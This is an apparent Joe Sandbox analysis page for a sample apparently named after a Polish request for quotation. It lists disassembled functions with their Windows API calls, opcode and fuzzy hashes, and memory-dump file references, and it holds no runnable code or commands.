Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: AngleCloseEllipseFigureLineMovePixelRectangle
String ID:
API String ID: 288456094-0
Opcode ID: d308d32173f93e4cd5527eec6d709d72f3e0fef6f2bd509874fda6c33d0c9603
Instruction ID: d3db7697bfba14f4a3ad6627a8a5faa1010559558ae5e3f89cc6b0bd66950af4
Opcode Fuzzy Hash: d308d32173f93e4cd5527eec6d709d72f3e0fef6f2bd509874fda6c33d0c9603
Instruction Fuzzy Hash: 90514BB51082419FD300DF15CC84E6BBBE9EFC9308F14891EF99497351D734A906CB6A

Function 00455297 Relevance: 10.6, APIs: 7, Instructions: 149windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001308,?,00000000), ref: 004552B7
ImageList_Remove.COMCTL32(?,?,?,?), ref: 004552EB
SendMessageW.USER32(?,0000133D,?,00000002), ref: 004553D3
DeleteObject.GDI32(?), ref: 0045564E
DeleteObject.GDI32(?), ref: 0045565C
DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
DestroyWindow.USER32(?,?,?,?,?), ref: 00455678

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: DeleteDestroyMessageObjectSend$IconImageList_RemoveWindow
String ID:
API String ID: 2354583917-0
Opcode ID: b44580b005306b3b7f9b1dbab51831616e075f248f5ed84087b7c105bb41b1f9
Instruction ID: 19c5dc8500d05a42ca126c51664c70dafe1d1a8ca3b523478e8997b137d6e309
Opcode Fuzzy Hash: b44580b005306b3b7f9b1dbab51831616e075f248f5ed84087b7c105bb41b1f9
Instruction Fuzzy Hash: 77519D30204A419FC714DF24C4A4B7A77E5FB49301F4486AEFD9ACB392DB78A849CB54

Function 004413F0 Relevance: 10.6, APIs: 7, Instructions: 114windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 0044140E
GetWindowLongW.USER32(?,000000F0), ref: 00441452
GetWindowLongW.USER32(?,000000F0), ref: 00441493
SendMessageW.USER32(02F21A68,000000F1,00000000,00000000), ref: 004414C6
SendMessageW.USER32(02F21A68,000000F1,00000001,00000000), ref: 004414F1

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: MessageSend$LongWindow
String ID:
API String ID: 312131281-0
Opcode ID: ed470013e842d905752aa6f8daaa5f1d8e955df317e7b96a507e5c494099af20
Instruction ID: f6a862a32ccfd92e4f153a1965fa7dc80102ffdb8abe4b8a046001f82176c48d
Opcode Fuzzy Hash: ed470013e842d905752aa6f8daaa5f1d8e955df317e7b96a507e5c494099af20
Instruction Fuzzy Hash: 2F416A347442019FE720CF58DCC4F6A77A5FB8A754F24416AE5519B3B1CB75AC82CB48

Function 0044849C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 106windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004484C4
GetMenuItemInfoW.USER32(?,?,00000000,004A83D8), ref: 00448562
IsMenu.USER32(?), ref: 0044857B
InsertMenuItemW.USER32(?,?,00000001,004A83D8), ref: 004485D0
DrawMenuBar.USER32 ref: 004485E4

Strings

0, xrefs: 004484BC

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert_memset
String ID: 0
API String ID: 3866635326-4108050209
Opcode ID: 42a201a1e731261e29c9ff9b40de176b55a78da0b06957c9f64dc5096dc7767a
Instruction ID: c1b4c65bd9dbf201e14e83578cc8030a3c247867dd5f1e451e409e2153a24926
Opcode Fuzzy Hash: 42a201a1e731261e29c9ff9b40de176b55a78da0b06957c9f64dc5096dc7767a
Instruction Fuzzy Hash: 9F417F75604341AFE710CF45C984B6BB7E4FB89304F14881EFA554B391DBB4E849CB5A

Function 0047244D Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 104sleepCOMMON

Download Yara Rule

APIs

InterlockedIncrement.KERNEL32 ref: 0047247C
InterlockedDecrement.KERNEL32(004A7CAC), ref: 00472491
Sleep.KERNEL32(0000000A), ref: 00472499
InterlockedIncrement.KERNEL32(004A7CAC), ref: 004724A4
InterlockedDecrement.KERNEL32(004A7CAC), ref: 00472599

Strings

0vH, xrefs: 004724D5, 00472505, 00472529, 00472561

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Interlocked$DecrementIncrement$Sleep
String ID: 0vH
API String ID: 327565842-3662162768
Opcode ID: 1f9636da89c09a42c83bc6208b2a941288b856546e602fee390546c1bf7c6d32
Instruction ID: 7246262c18bb701d5349304b0e2d21290bf7c9637501dd5a114e6955e8e78370
Opcode Fuzzy Hash: 1f9636da89c09a42c83bc6208b2a941288b856546e602fee390546c1bf7c6d32
Instruction Fuzzy Hash: 9631D2329082259BD710DF28DD41A8A77A5EB95324F05483EFD08FB251DB78EC498BED

Function 0045D321 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 81COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0045D32F
GetVolumeInformationW.KERNEL32(?,?,000000FF,?,?,?,?,000000FF,?), ref: 0045D3B3
__swprintf.LIBCMT ref: 0045D3CC
SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D416

Strings

HH, xrefs: 0045D3ED
%lu, xrefs: 0045D3C6

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: ErrorMode$InformationVolume__swprintf
String ID: %lu$HH
API String ID: 3164766367-3924996404
Opcode ID: bd20e614eacc1ec6e7ce8a240dc663141bf9142d6fc10aee8c7bf862d4d2af0b
Instruction ID: e4de0c6df68350460ad5232616e5185c9d799459bd1b640414cfcbd8d86849a8
Opcode Fuzzy Hash: bd20e614eacc1ec6e7ce8a240dc663141bf9142d6fc10aee8c7bf862d4d2af0b
Instruction Fuzzy Hash: 85314A716083019BC310EF55D941A5BB7E4FF88704F40892EFA4597292D774EA09CB9A

Function 00439102 Relevance: 10.5, APIs: 7, Instructions: 46threadCOMMON

Download Yara Rule

APIs

Part of subcall function 00438FE4: GetProcessHeap.KERNEL32(00000008,0000000C,0043910A,00000000,00000000,00000000,0044646E,?,?,?), ref: 00438FE8
Part of subcall function 00438FE4: HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00438FEF

GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,00000000,00000000,00000000,0044646E,?,?,?), ref: 00439119
GetCurrentProcess.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00439123
DuplicateHandle.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0043912C
GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00439138
GetCurrentProcess.KERNEL32(?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00439142
DuplicateHandle.KERNEL32(00000000,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 00439145
CreateThread.KERNEL32(00000000,00000000,004390C2,00000000,00000000,00000000), ref: 0043915E

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: ae016cd78919e3da0d3d218cc031d8d4f693afb8d34ff927aa47fd3b6f506194
Instruction ID: b388a4287fabc35bf2088fa38ebc9459a42e34e8a642192e1b63b89709cb9be3
Opcode Fuzzy Hash: ae016cd78919e3da0d3d218cc031d8d4f693afb8d34ff927aa47fd3b6f506194
Instruction Fuzzy Hash: 3BF0CD753413007BD220EB65DC86F5BB7A8EBC9B10F118919F6049B1D1C6B4A800CB65

Function 00434124 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll,p#D,0043415E,p#D,?,00442370,?), ref: 00434134
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00434146

Strings

p#D, xrefs: 00434125
RegDeleteKeyExW, xrefs: 00434140
advapi32.dll, xrefs: 0043412F
p#D, xrefs: 00434124

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RegDeleteKeyExW$advapi32.dll$p#D$p#D
API String ID: 2574300362-3261711971
Opcode ID: 3da92f374f37a9fa7395fa6ef73d3af1d379715eec5b41da1672ebd70bf57acc
Instruction ID: cb82693085896f9455b4638215a98dd7e3cb824177552166877179ce6000b7c2
Opcode Fuzzy Hash: 3da92f374f37a9fa7395fa6ef73d3af1d379715eec5b41da1672ebd70bf57acc
Instruction Fuzzy Hash: D8D05EB0400B039FCB105F24D8086AB76F4EB68700F208C2EF989A3750C7B8E8C0CB68

Function 0047B1D0 Relevance: 9.5, APIs: 6, Instructions: 489COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c82efa3070467c2623ec738b5b2be2cd760763614a3dd1863134219050ad48d5
Instruction ID: be39947db1ffbcb7075193c31d102fc15fe4f6af8d23ce90efbce3d2b6a77a88
Opcode Fuzzy Hash: c82efa3070467c2623ec738b5b2be2cd760763614a3dd1863134219050ad48d5
Instruction Fuzzy Hash: 4BF16D71108740AFD210DB59C880EABB7F9EFCA744F10891EF69983261D735AC45CBAA

Function 0044C522 Relevance: 9.2, APIs: 6, Instructions: 155windowkeyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,?,00000001,00000001,?,00000000), ref: 0044C588
SetKeyboardState.USER32(00000080), ref: 0044C59B
PostMessageW.USER32(?,00000104,?,?), ref: 0044C5EC
PostMessageW.USER32(?,00000100,?,?), ref: 0044C610
PostMessageW.USER32(?,00000102,?,00000001), ref: 0044C637
SendInput.USER32 ref: 0044C6E2

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: MessagePost$KeyboardState$InputSend
String ID:
API String ID: 2221674350-0
Opcode ID: 061e63fcf1402e721e52ee56d2f22f81c2cbe03cfd8f861d8ff00d299370d474
Instruction ID: 3a634557d1668dba9f4fbb3ffee1259adddcddb7f3fce46f2ce6721246940f3b
Opcode Fuzzy Hash: 061e63fcf1402e721e52ee56d2f22f81c2cbe03cfd8f861d8ff00d299370d474
Instruction Fuzzy Hash: A24148725053486AF760EF209C80BFFBB98EF95324F04151FFDC412281D66E984987BA

Function 00445153 Relevance: 9.1, APIs: 6, Instructions: 142COMMON

Download Yara Rule

APIs

_wcscpy.LIBCMT ref: 0044523F
_wcscat.LIBCMT ref: 00445246
_wcscpy.LIBCMT ref: 0044525A
_wcscpy.LIBCMT ref: 0044528C
_wcscat.LIBCMT ref: 00445293
_wcscpy.LIBCMT ref: 004452A7

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: _wcscpy$_wcscat
String ID:
API String ID: 2037614760-0
Opcode ID: c3d60132d03e6e9aaf992afd40c569c0f32bb020d8b31a6b424623dccafdf89e
Instruction ID: 871aa96d6b0d5f43eceffdadd72b032f7becd6ba50fbda5e2bca5dd503650597
Opcode Fuzzy Hash: c3d60132d03e6e9aaf992afd40c569c0f32bb020d8b31a6b424623dccafdf89e
Instruction Fuzzy Hash: 7D41BD31901A256BDE317F55D880BBB7358DFA1314F84006FF98247313EA6E5892C6BE

Function 0044B474 Relevance: 9.1, APIs: 6, Instructions: 113fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 0044B490

Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734

ReadFile.KERNEL32(?,?,0000FFFF,?,00000000), ref: 0044B4C2
EnterCriticalSection.KERNEL32(00000000), ref: 0044B4E3
LeaveCriticalSection.KERNEL32(00000000), ref: 0044B5A0
ReadFile.KERNEL32(?,?,0000FFFF,?,00000000), ref: 0044B5BB

Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779

InterlockedExchange.KERNEL32(?,000001F6), ref: 0044B5D1

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection$EnterException@8LeaveThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
String ID:
API String ID: 1726766782-0
Opcode ID: 4e9d57439f7da7597e491875000a581c9c04313e1914f2eb0b98f23fec4f2b72
Instruction ID: bf52b5dc2e344941501510e432fc863898df75637e45487ca8cd05157db66b41
Opcode Fuzzy Hash: 4e9d57439f7da7597e491875000a581c9c04313e1914f2eb0b98f23fec4f2b72
Instruction Fuzzy Hash: 09415C75104701AFD320EF26D845EABB3F8EF88708F008E2DF59A92650D774E945CB6A

Function 00441077 Relevance: 9.1, APIs: 6, Instructions: 111windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000000,?,?,?,?,00448962,004A83D8,?,?), ref: 004410F9
EnableWindow.USER32(?,00000000), ref: 0044111A
ShowWindow.USER32(?,00000000,?,?,?,?,00448962,004A83D8,?,?), ref: 00441183
ShowWindow.USER32(?,00000004,?,?,?,00448962,004A83D8,?,?), ref: 00441192
EnableWindow.USER32(?,00000001), ref: 004411B3
SendMessageW.USER32(?,0000130C,?,00000000), ref: 004411D5

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: c853c7407bbaf9010c68549c691492fdcd401e5b0cb22aeb5446aebbed6f20c9
Instruction ID: 824eeaafe1f931a994963cd163acc5b0ce47b26168a6fd4ee38d593e4569daee
Opcode Fuzzy Hash: c853c7407bbaf9010c68549c691492fdcd401e5b0cb22aeb5446aebbed6f20c9
Instruction Fuzzy Hash: 14417770604245DFE725CF14C984FA6B7E5BF89300F1886AEE6859B3B2CB74A881CB55

Function 00449063 Relevance: 9.1, APIs: 6, Instructions: 108windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001024,00000000,?), ref: 004490E3
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004490F8
SendMessageW.USER32(00000000,0000111E,00000000,?), ref: 0044910D
InvalidateRect.USER32(?,00000000,00000001), ref: 00449124
GetWindowLongW.USER32(00000000,000000F0), ref: 0044912F
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 0044913C

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: MessageSend$LongWindow$InvalidateRect
String ID:
API String ID: 1976402638-0
Opcode ID: 2b574cf222373ea94a5f8b1e2da5d15417ee742d7ff148607d59a4e94613559a
Instruction ID: 8b80d2acd15126bdfc8b54909556444574c0e56a9806921f1e0b477f33817628
Opcode Fuzzy Hash: 2b574cf222373ea94a5f8b1e2da5d15417ee742d7ff148607d59a4e94613559a
Instruction Fuzzy Hash: F231B476244202AFF224DF04DC89FBBB7A9F785321F14492EF291973D0CA75AC469729

Function 00442582 Relevance: 9.1, APIs: 6, Instructions: 104COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00442597

Part of subcall function 004344B7: GetWindowRect.USER32(?,?), ref: 004344D3

GetDesktopWindow.USER32 ref: 004425BF
GetWindowRect.USER32(00000000), ref: 004425C6
mouse_event.USER32(00008001,?,?,?,?), ref: 004425F5

Part of subcall function 00436272: Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 00436287

GetCursorPos.USER32(?), ref: 00442624
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00442690

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
String ID:
API String ID: 4137160315-0
Opcode ID: 9bf1d5af4d3523281d87c855d40d0150606dc562a9e0308dc2a2f88b36285eae
Instruction ID: 1581b522c3ee05a339ffa1fd07f9e8cd23967deed6539873686ea33d82c69dd2
Opcode Fuzzy Hash: 9bf1d5af4d3523281d87c855d40d0150606dc562a9e0308dc2a2f88b36285eae
Instruction Fuzzy Hash: 7C31C1B2104306ABD310DF54CD85E6BB7E9FB98304F004A2EF94597281E675E9058BA6

Function 00449606 Relevance: 9.1, APIs: 6, Instructions: 91windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0044961A
SendMessageW.USER32 ref: 0044964A

Part of subcall function 00433A98: _wcspbrk.LIBCMT ref: 00433AAC

SendMessageW.USER32(?,00001074,?,00000001), ref: 004496AC
_wcslen.LIBCMT ref: 004496BA
_wcslen.LIBCMT ref: 004496C7
SendMessageW.USER32(?,00001074,?,?), ref: 004496FD

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: MessageSend$_wcslen$_memset_wcspbrk
String ID:
API String ID: 1624073603-0
Opcode ID: 3158986b153f08837b9b71a8f77f3cc169978b1c24ba43a32ffefb24081b9654
Instruction ID: 7e49a266cf7116299f7bc8659d1ce07b00adedb8b3f1b428e1954e4b11147a1e
Opcode Fuzzy Hash: 3158986b153f08837b9b71a8f77f3cc169978b1c24ba43a32ffefb24081b9654
Instruction Fuzzy Hash: B631CA71508300AAE720DF15DC81BEBB7D4EBD4720F504A1FFA54862D0EBBAD945C7A6

Function 0045552E Relevance: 9.1, APIs: 6, Instructions: 78windowCOMMON

Download Yara Rule

APIs

MoveWindow.USER32(?,?,?,?,?,00000000), ref: 004555AD
DestroyWindow.USER32(?,?,?,?,?), ref: 00455640
DeleteObject.GDI32(?), ref: 0045564E
DeleteObject.GDI32(?), ref: 0045565C
DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
DestroyWindow.USER32(?,?,?,?,?), ref: 00455678

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: DestroyWindow$DeleteObject$IconMove
String ID:
API String ID: 1640429340-0
Opcode ID: da39536b61dc90218e8938c0c8165bcff49a91d8f884d8405ba8ed69dafdd4fa
